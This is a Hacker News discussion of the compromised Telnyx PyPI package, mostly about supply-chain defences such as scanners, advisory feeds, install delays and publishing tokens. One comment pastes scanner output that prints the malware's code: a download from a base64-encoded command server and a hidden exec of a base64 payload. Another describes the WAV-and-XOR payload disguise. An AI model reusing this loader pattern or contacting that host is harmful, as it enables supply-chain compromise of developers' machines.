[HN Gopher] Telnyx package compromised on PyPI
___________________________________________________________________
Telnyx package compromised on PyPI
https://github.com/team-telnyx/telnyx-python/issues/235
https://www.aikido.dev/blog/telnyx-pypi-compromised-teampcp-...
Author : ramimac
Score : 65 points
Date : 2026-03-27 08:57 UTC (14 hours ago)
(HTM) web link (telnyx.com)
(TXT) w3m dump (telnyx.com)
| ramimac wrote:
| We haven't blogged this yet, but a variety of teams found this in
| parallel.
|
| The packages are quarantined by PyPi
|
| Follow the overall incident: https://ramimac.me/teampcp/#phase-10
|
| Aikido/Charlie with a very quick blog:
| https://www.aikido.dev/blog/telnyx-pypi-compromised-teampcp-...
|
| ReversingLabs, JFrog also made parallel reports
| Imustaskforhelp wrote:
| Ramimac, has there been any action on having the c2 server's ip
| address being blacklisted?
|
| The blast radius of TeamPCP just keeps on increasing...
| Scaevolus wrote:
| I'm glad there's many teams with automated scans of pypi and
| npm running. It elevates the challenge of making a backdoor
| that can survive for any length of time.
| TZubiri wrote:
| Shoutouts to all the real engineers who use a generic http client
| to call APIs and weren't impacted by this.
| carlsborg wrote:
| Anthropic/OpenAI could own this space. They should offer a paid
| service that offers a mirror with LLM scanned and sandbox-
| evaluated package with their next gen models. Free for
| individuals, orgs can subscribe to it.
| oblvious-earth wrote:
| OpenAI just acquired Astral who have an index service called
| pyx, so they would have a step up.
|
| My understanding though is most corporations that take security
| seriously either build everything themselves in a sandbox, or
| use something like JFrog's Artifactory with various security
| checks, and don't let users directly connect to public indexes.
| So I'm not sure what the market is.
| doc_ick wrote:
| There's also virustotal, any.run, probably a few others
| outside of GitHub/gitlab scans
| andrepd wrote:
| Genuinely cannot tell whether this is satire.
| firesteelrain wrote:
| Own what space ?
| johndough wrote:
| Judging by curl shutting down its bug bounty program due to AI
| slop, a likely outcome would be that this mirror has no
| packages because they are all blocked by false positives.
| dmitrygr wrote:
| Detecting properly-written malicious code is undecidable. No
| amount of snake oil fixes that
| slowmovintarget wrote:
| Telnyx provides voice capabilities for OpenClaw for those
| wondering.
| indigodaddy wrote:
| They should add voip.ms. it's better all around I think
| _JamesA_ wrote:
| Voip.ms is great for a simple SIP trunk but it has almost
| none of the programmable voice and other features of Telnyx
| or Twilio.
| indigodaddy wrote:
| ah yeah, I'm about to setup a grandstream ht801 for a voip
| home phone so I probably dont need all that
| RulerOf wrote:
| A number of years ago I wanted to drop a webhook when a
| call came in on VoIP.ms but couldn't find any way to do it
| natively.
|
| Ended up sticking a twilio endpoint in the ring group with
| a "press 1 to accept this call" message so it wouldn't eat
| the call, then was able to fire an http request with the
| call details.
|
| It worked well, although I admit I was a little annoyed I
| couldn't do it directly with VoIP.ms.
| f311a wrote:
| They did not even try to hide the payload that much.
|
| Every basic checker used by many security companies screams at
| `exec(base64.b64decode` when grepping code using simple regexes.
| hexora audit 4.87.1/2026-03-27-telnyx-v4.87.1.zip --min-
| confidence high --exclude HX4000 warning[HX9000]:
| Potential data exfiltration with Decoded data via
| urllib.request.request.Request. +- 2026-03-27-telnyx-v
| 4.87.1.zip:tmp/tmp_79rk5jd/telnyx/telnyx/_client.py:77
| 86:13 | 7783 | except: 7784 |
| pass 7785 | 7786 | r = urllib.request.Request
| (_d('aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg=='),
| headers={_d('VXNlci1BZ2VudA=='): _d('TW96aWxsYS81LjA=')})
| | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
| ^^^^^^^^^^^^^^^^^^^^^^^^ HX9000 7787 | with
| urllib.request.urlopen(r, timeout=15) as d: 7788 |
| with open(t, "wb") as f: 7789 |
| f.write(d.read()) | = Confidence: High
| Help: Data exfiltration is the unauthorized transfer of data from
| a computer. warning[HX4010]: Execution of
| obfuscated code. +- 2026-03-27-telnyx-v4.87.1.zip:tmp/
| tmp_79rk5jd/telnyx/telnyx/_client.py:78 10:9 |
| 7807 | if os.name == 'nt': 7808 | return
| 7809 | try: 7810 | + subprocess.Popen(
| 7811 | | [sys.executable, "-c", f"import base64;
| exec(base64.b64decode('{_p}').decode())"], 7812 | |
| stdout=subprocess.DEVNULL, 7813 | |
| stderr=subprocess.DEVNULL, 7814 | |
| start_new_session=True 7815 | | ) |
| +---------^ HX4010 7816 | except: 7817 |
| pass 7818 | | = Confidence: VeryHigh
| Help: Obfuscated code exec can be used to bypass detection.
| m000 wrote:
| Are there more tools like hexora?
| f311a wrote:
| GuardDog, but it's based on regexes
| viscousviolin wrote:
| Is there a notification channel you can subscribe to / look at if
| you want to stay up to date on compromised PyPI packages?
| woodruffw wrote:
| You can use the PYSEC[1] or OSV[2] databases.
|
| [1]: https://github.com/pypa/advisory-
| database/blob/main/vulns/te...
|
| [2]: https://osv.dev/vulnerability/MAL-2026-2254
| viscousviolin wrote:
| Thank you!
| dmitrygr wrote:
| Yes. news.ycomhinator.com
| dlcarrier wrote:
| At this point, I'm not updating anything using Python.
|
| Not that I had the option anyway, because everything using Python
| breaks if you update it. You know they've given up on backward
| comparability and version control, when the solution is: run
| everything in a VM, with its own installation. Apparently it's
| also needed for security, but the VMs aren't really set up to be
| secure.
|
| I don't get why everything math heavy uses it. I blame MATLAB for
| being so awful that it made Python look good.
|
| It's not even the language itself, not that it doesn't have its
| own issues, or the inefficient way it's executed, but the
| ecosystem around it is so made out of technical debt.
| akx wrote:
| Sounds like you're not familiar with https://docs.astral.sh/uv/
| ...
| TZubiri wrote:
| Agree. I was working on an open source package, noticed
| something weird, and noticed the size of the uv.lock and got a
| bit scared.
|
| It's a pandemic, I will be hardening my security, and rotating
| my keys just in case.
| paulddraper wrote:
| Python is genuinely a pleasant syntax and experience. [1]
|
| It's the closest language to pseudocode that exists.
|
| Like every other language from 1991, it has rough edges.
|
| [1] https://xkcd.com/353/
| jbrowning wrote:
| > The payload isn't delivered as a raw binary or a Python file.
| It's disguised as a .wav audio file.
|
| > The WAV file is a valid audio file. It passes MIME-type checks.
| But the audio frame data contains a base64-encoded payload.
| Decode the frames, take the first 8 bytes as the XOR key, XOR the
| rest, and you have your executable or Python script.
|
| Talk about burying the lede.
| consp wrote:
| I've seen it at least once in code from a big car manufacturer
| who encrypted their software or parts of it to avoid you
| reading the xml files. They use a key, split into two or more
| parts, hidden as the first bytes of some file or as plain text
| somewhere it would not be out of order, then recombine, run
| through an deobfuscation function to be an old fashioned DES or
| XOR key to decrypt the (usually XML, could have been a
| different key format it's been a while) files. It's not that
| uncommon. It's also security theater. Funny part is they didn't
| obfuscate the code to read the key.
| ac29 wrote:
| I was really hoping the audio file was going to be AFSK or
| someting
| charcircuit wrote:
| 2FA needs to be required for publishing packages. An attacker
| compromising someone's CI should not give them free reign to
| publish malicious packages at any time they want.
| woodruffw wrote:
| In a lot of cases, it's not really clear _whose_ second factor
| would authorize publishing a package that was uploaded from a
| CI /CD system. Is it any project owner? Anyone from the same
| GitHub organization? etc.
|
| > An attacker compromising someone's CI should not give them
| free reign to publish malicious packages at any time they want.
|
| Agreed, that's why a lot of packaging ecosystems (including
| PyPI) have moved towards schemes that involve self-scoping,
| self-expiring tokens. The CI can still publish, but the
| attacker can no longer exfiltrate the publishing credential and
| use it indefinitely later.
|
| (These schemes are not mandatory, because they can't be.)
| charcircuit wrote:
| The 2FA of whatever account is publishing the package. I'm
| pretty sure Pypi already has this figured out except they
| seem to allow you to make an API key which just bypasses
| checking a 2nd factor.
| woodruffw wrote:
| Which account _is_ publishing the package, in a CI /CD
| context? It's not clear that any particular account is,
| since the set of people who can trigger a workflow in CI/CD
| aren't necessarily (and in fact aren't often) the same set
| of people who can create an API token on PyPI.
| sigseg1v wrote:
| but then how can we deploy our vibe coded PRs we didn't review
| at a pace of 40 deploys per day?
| paulddraper wrote:
| Sounds like 2FA should be required for CI.
| oncallthrow wrote:
| I think it's only a matter of time at this point before a
| devastating supply chain attack occurs.
|
| Supply-chain security is such a dumpster fire, and threat actors
| are realising that they can use LLMs to organize such attacks.
| ilaksh wrote:
| The way I use Telynx is via SIP which is an open protocol. No
| reason we should be relying on proprietary APIs for this stuff.
|
| On GitHub see my fork runvnc/PySIP. Please let me know if you
| know if something better for python that is not copy left or rely
| on some copy left or big external dependency. I was using baresip
| but it was a pain to integrate and configure with python.
|
| Anyway, after fixing a lot in the original PySIP my version works
| with Telynx. Not tested on other SIP providers.
| rvz wrote:
| That's not good. Time to raise the package security draw bridge
| on vibe coders.
| doug_durham wrote:
| In what world does professional hackers intersect with vibe
| coding? This is a professional attack. Not some amateur script
| kiddie action.
| ivanvanderbyl wrote:
| Has anyone here used Telnyx? I tried to build a product against
| their API last year and 3 weeks after signing up they banned my
| account and made it impossible to get an answer as to why or re-
| enable it.
| TZubiri wrote:
| I like it so far. Did you call phone support at the time and
| ask about it? I find it's easy enough to get in a call with a
| human.
| ivanvanderbyl wrote:
| I did, they asked me to open a support ticket, which I did,
| and the last response I got was:
|
| > We've reviewed the details you provided and updated your
| case with the necessary information. It is now being routed
| to the appropriate team for further support.
|
| That was July 2025!
| mil22 wrote:
| For those using _uv_ , you can at least partially protect
| yourself against such attacks by adding this to your
| _pyproject.toml_ : [tool.uv] exclude-newer
| = "7 days"
|
| or this to your _~ /.config/uv/uv.toml_: exclude-
| newer = "7 days"
|
| This will prevent _uv_ picking up any package version released
| within the last 7 days, hopefully allowing enough time for the
| community to detect any malware and yank the package version
| before you install it.
| TZubiri wrote:
| Nice feature. However uv is suspect at the moment, in the sense
| that it is designed as a pip replacement to overcome issues
| that only exist when supply chains are of a size that isn't
| safe to have.
|
| So any project that has UV and any developer that tries to get
| uv into a project is on average less safe than a project that
| just uses pip and a requirements.txt
| Imustaskforhelp wrote:
| I really am not able to follow this line of reasoning, I am
| not sure if what you said makes sense and how it relates to
| uv having a security feature to be on average less safe :/
| thewebguyd wrote:
| I believe they are saying that by the time you need
| something like uv, your project already has too many
| dependencies. Its the unnecessarily large supply chain
| that's the problem, and uv exists to solve a problem that
| you should try to avoid in the first place.
|
| I think uv is great, but I somewhat agree. We see this
| issue with node/npm. We need smaller supply chains/less
| dependencies overall, not just bandaiding over the poor
| decisions with better dependency management tooling.
| Imustaskforhelp wrote:
| Ah this simplifies what they were saying.
|
| I agree with it that dependency management should be made
| easier. To be honest, I really like how golang's
| dependency and how golang's community works around
| dependencies and how golang has a really great stdlib to
| work with and how the community really likes to rely on
| very little depenendencies for the most part as well.
|
| Maybe second to that, Zig is interesting as although I
| see people using libraries, its on a much lower level
| compared to rust/node/python.
|
| Sadly, rust suffers from the same dependency issue like
| node/python.
| catgary wrote:
| This line of thought is honestly a bit silly - uv is just
| a package manager that actually does its job for
| resolving dependencies. You're talking about a completely
| orthogonal problem.
| zahlman wrote:
| > uv is just a package manager that actually does its job
| for resolving dependencies.
|
| Pip resolves dependencies just fine. It just also lets
| you try to build the environment incrementally (which is
| actually useful, especially for people who _aren 't_
| "developers" on a "project"), and is slow (for a lot of
| reasons).
| sdoering wrote:
| Sorry - call me uninformed. But I do not really understand
| how choosing uv makes me less safe than using pip.
|
| Care to explain? Would love to learn.
| jcass8695 wrote:
| It is a bit of a leap. They are saying that if you are
| using uv, then you likely have a broad set of dependencies
| because you require a dependency management tool, therefore
| you are more susceptible to a supply chain attack by virtue
| of having a wider attack surface.
| sdoering wrote:
| Ahhhhhh thanks a ton. Now I get it. Meaning I get what
| you are saying. Not what they were implying. But yeah. I
| can understand at least how one could arrive at that
| idea.
|
| To me personally this idea still sounds a bit off - but
| as a heuristic it might have some merit in certain
| circumstances.
| paulddraper wrote:
| Huh?
|
| Wanting a better pip means I am unsafe?
| joshred wrote:
| This is complete nonsense. pip has all the same problems that
| you say uv has.
| notatallshaw wrote:
| Pip maintainer here, to do this in pip (26.0+) now you have to
| manually calculate the date, e.g. --uploaded-prior-to="$(date
| -u -d '3 days ago' '+%Y-%m-%dT%H:%M:%SZ')"
|
| In pip 26.1 (release scheduled for April 2026), it will support
| the day ISO-8601 duration format, which uv also supports, so
| you will be able to do --uploaded-prior-to=P3D, or via env vars
| or config files, as all pip options can be set in either.
| __mharrison__ wrote:
| Love it! Let those pip users find the compromised packages for
| us uv users.
| bombcar wrote:
| Until everyone waits 7 days to install everything so the
| compromise is discovered on the 8th day.
|
| End result will be everyone runs COBOL only.
| gonzalohm wrote:
| Or just scan all GitHub repos, find their .toml definition.
| Calculate the median and then add 7 days to that. That way
| you are always behind.
| zar1048576 wrote:
| :-) That might not even be enough as I hear (but haven't
| verified) that Claude does a pretty good job of making
| sense out of legacy COBOL code!
| anthk wrote:
| Or Forth with scientific library, bound to the constraints.
| Put some HTTP library on top and some easy HTML interface
| from a browser with no JS/CSS3 support at all. It will look
| rusty but unexploitable.
|
| Enterprise computing with custom software will make a
| comeback to avoid these pitfalls. I depise OpenJDK/Mono
| because of patents but at least they come with complete
| defaults and a 'normal' install it's more than enough to
| ship a workable application for almost every OS. Ah, well,
| smartphones. Serious work is never done with these tools,
| even with high end tables. Maybe commercials/salespeople
| and that's it.
|
| It's either that... or promoting reproducible environment
| with Guix everywhere. Your own Guix container, isolated,
| importing Pip/CPAN/CTAN/NPM/OPAM and who knows else into a
| manifest file and ready to ship anywhere, either as a Guix
| package, a Docker container (Guix can do that), a single
| DEB/RPM, an AppImage ready to launch on any modern
| GNU/Linux with a desktop and a lot more.
| jmward01 wrote:
| I am a slow adopter of uv. I'll be honest, its speed has never
| been a big deal to me and, in general, it is YAPT (yet another
| package tool), but this one feature may make me reconsider.
| Pinning versions is less than perfect but I would really like
| to be able to stay XXX days behind exactly for this reason.
|
| I think the python community, and really all package managers,
| need to promote standard cache servers as first class citizens
| as a broader solution to supply chain issues. What I want is a
| server that presents pypi with safeguards I choose. For
| instance, add packages to the local index that are no less than
| xxx days old (this uv feature), but also freeze that unless an
| update is requested or required by a security concern, scan
| security blacklists to remove/block packages and versions that
| have been found to have issues. Update the cache to allow a
| specific version bump. That kind of thing. Basically, I have
| several projects and I just want to do a pip install but
| against my own curated pypi. I know this is the intent of
| virtual envs/lock files, etc, but coordinating across projects
| and having my own server to grab from when builds happen
| (guaranteeing builds won't fail) is import. At a minimum it
| would be good to have a 'curated.json' or something similar
| that I could point pip/other package managers to to enforce
| package policies across projects. These supply chain attacks
| show that all it takes is a single update and your are in big
| trouble so we, unfortunately, need more layers of defense.
| zahlman wrote:
| > I think the python community, and really all package
| managers, need to promote standard cache servers as first
| class citizens as a broader solution to supply chain issues.
| What I want is a server that presents pypi with safeguards I
| choose. For instance, add packages to the local index that
| are no less than xxx days old (this uv feature), but also
| freeze that unless an update is requested or required by a
| security concern, scan security blacklists to remove/block
| packages and versions that have been found to have issues.
| Update the cache to allow a specific version bump. That kind
| of thing.
|
| FWIW, https://pypi.org/project/bandersnatch/ is the standard
| tool for setting up a PyPI mirror, and
| https://github.com/pypi/warehouse is the codebase for PyPI
| itself (including the actual website, account management
| etc.).
|
| If "my own curated pypi" extends as far as a whitelist of
| build artifacts, you can just make a local "wheelhouse"
| directory of those, and pass `--no-index` and `--find-links
| /path/to/wheelhouse` in your `pip install` commands (I'm sure
| uv has something analogous).
| madushan1000 wrote:
| I really wish uv had some sandboxing built in.
| woodruffw wrote:
| Please open an issue on the uv tracker! This is a design
| space we're actively thinking about, and it's valuable to
| hear user perspectives on what they would and wouldn't want a
| sandbox to do.
| jlundberg wrote:
| We have always been API first rather than SDK first.
|
| Never really thought too much about the security implications but
| that is of course a benefit too.
|
| Main reasoning for us has been to aim for a really nice HTTP API
| rather than hide uglyness with an SDK on top.
| LoganDark wrote:
| I used to use Telnyx many years ago, but was squeezed out when
| they started adding layer after layer of mandatory identity
| verification. Nope.
| indigodaddy wrote:
| Hah, need to setup a Grandstream HT801 this weekend and this
| cements my decision to use voip.ms vs telnyx. Not that the device
| would use that library (have no idea), but just, yeah generally,
| it's a good cue to stay away for me.
| infinitewars wrote:
| Is this happening in part due to the sheer volume of pull-
| requests with AI generated code.. things are slipping through?
| spocchio wrote:
| Is there anyone who uses it? I see their repo's Initial Commit
| was on Jan 2026... quite a new package! Also, the number of
| GitHub stars and forks is quite low.
|
| Does the package have a user base, or did the malicious team
| target one of the many useless GitHub repos?
| KomoD wrote:
| > I see their repo's Initial Commit was on Jan 2026... quite a
| new package!
|
| That's incorrect, the repo and package date back to 2019
| deathanatos wrote:
| > _The Telnyx platform, APIs, and infrastructure were not
| compromised. This incident was limited to the PyPI distribution
| channel for the Python SDK._
|
| Am I being too nitpicky to say that that _is_ part of your
| infrastructure?
|
| Doesn't 2FA stop this attack in its tracks? PyPI supports 2FA,
| no?
| kelvinjps10 wrote:
| I received an email from them about the vulnerability but I don't
| remember ever using them
| 6thbit wrote:
| So both this and litellm went straight to PyPI without going to
| GitHub first.
|
| Is there any way to setup PyPI to only publish packages that come
| from a certain pattern of tag that exists in GH? Would such a
| measure help at all here?
| aniceperson wrote:
| Don't have the token on your hands. Use OICD ideally, or make
| sure to setup carefully as a repository secret. Ensure the
| workflow runs in a well permission read, minimal dependency
| environment. The issue with OICD is that it does not work with
| nested workflows because github does not propagate the claims.
| anthk wrote:
| The Guix PM in this context can create an isolated environment
| and import PyPI packages for you adapted into Guix Scheme
| manifest files. Not just Python, Perl, Ruby, Node... if you have
| to use dangerous our propietary environments for the enterprise,
| (not for personal computing), at least isolate them so the
| malware doesn't spread over.
___________________________________________________________________
(page generated 2026-03-27 23:00 UTC)